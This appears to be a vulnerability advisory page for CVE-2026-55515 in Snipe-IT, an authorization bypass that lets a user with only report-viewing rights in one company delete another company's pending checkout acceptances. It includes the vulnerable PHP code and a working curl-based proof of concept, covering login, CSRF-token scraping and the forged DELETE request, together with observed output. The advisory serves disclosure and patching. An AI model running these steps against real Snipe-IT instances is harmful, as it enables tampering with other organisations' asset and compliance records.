CVE-2026-55515: Snipe-IT: Cross-company deletion of pending checkout acceptances via unscoped report endpoint
Impact A user with the reports.view permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company. The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()-find($acceptanceId) and deletes it without checking whether the current user has access to the related…
Published Aug 28, 2026
Affected packages
snipe/snipe-it
- Ecosystem
- Composer (PHP)
- Affected
- <= 8.6.1
- Fixed in
- 8.6.2
- Check
composer show snipe/snipe-it
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
A user with the reports.view permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.
The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.
Preconditions
The attacker needs:
- A valid authenticated web session.
reports.viewpermission.- Knowledge or guessability of a pending
checkout_acceptances.id.
The attacker does not need access to the asset/company associated with the target acceptance.
Root cause
The delete action authorizes only report access, then deletes a pending acceptance by global ID:
$this->authorize('reports.view');
$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);
$acceptance->delete();The code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc. In multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.
Proof of concept
Target acceptance belongs to Company B
The target pending acceptance was identified as id=1.
snipe_sql "SELECT ca.id ca.checkoutable_id, ca.deleted_at, a.asset_tag, a.company_id
FROM checkout_acceptances ca
JOIN assets a ON a.id = ca.checkoutable_id
WHERE ca.id=$ACCEPTANCE_B_ID;"Observed result:
{
"id": 1,
"checkoutable_id": 2,
"deleted_at": null,
"asset_tag": "LAB-B-42445107",
"company_id": 3
}This shows the pending acceptance belongs to asset 2, which is in Company B.
Attacker user belongs to Company A
The attacker account was reporter_a, assigned to Company A with only report viewing permission:
{
"id": 3,
"username": "reporter_a",
"company_id": 2,
"permissions": {
"reports.view": 1
}
}Login as Company A reports user
curl -sS -c /tmp/snipe_cookie.txt "$BASE/login" -o /tmp/snipe_login.html
LOGIN_CSRF=$(grep -oP 'name="_token" value="\K[^"]+' /tmp/snipe_login.html)
curl -sS -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
-X POST "$BASE/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "_token=$LOGIN_CSRF" \
--data-urlencode "username=reporter_a" \
--data-urlencode "password=password"Observed response:
Location: http://localhost:8000/Fetch report CSRF token
curl -sS -L -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
"$BASE/reports/unaccepted_assets" \
-o /tmp/unaccepted.html \
-w "\nHTTP=%{http_code} URL=%{url_effective}\n"
CSRF=$(grep -oP 'name="csrf-token" content="\K[^"]+' /tmp/unaccepted.html)
echo "CSRF=$CSRF"Observed result:
HTTP=200 URL=http://localhost:8000/reports/unaccepted_assets
CSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkUDelete Company B acceptance as Company A reporter
curl -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
-X POST "$BASE/reports/unaccepted_assets/$ACCEPTANCE_B_ID/delete" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "_token=$CSRF" \
--data-urlencode "_method=DELETE"Observed response:
HTTP/1.1 302 Found
Location: http://localhost:8000/reports/unaccepted_assetsFinal state
snipe_sql "SELECT id, checkoutable_id, deleted_at
FROM checkout_acceptances
WHERE id=$ACCEPTANCE_B_ID;"Observed result:
{
"id": 1,
"checkoutable_id": 2,
"deleted_at": "2026-06-12 04:30:00"
}This confirms that reporter_a from Company A deleted a pending acceptance for Company B’s asset.
Security impact
This is a cross-company authorization bypass affecting checkout acceptance integrity. An attacker with report access can:
- Delete pending acceptance records for assets they cannot access.
- Suppress evidence that a user has not accepted custody or terms.
- Interfere with asset handoff/compliance workflows.
- Tamper with another company’s pending acceptance queue.
This is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.
Credited to 5h1kh4r.
References
- https://github.com/grokability/snipe-it/security/advisories/GHSA-35cr-9hqq-p2mg
- https://nvd.nist.gov/vuln/detail/CVE-2026-55515
- https://github.com/grokability/snipe-it/commit/802067f3987a4b65bfc2efe60e22e07c24e01e6a
- https://github.com/grokability/snipe-it/releases/tag/v8.6.2
- https://github.com/advisories/GHSA-35cr-9hqq-p2mg
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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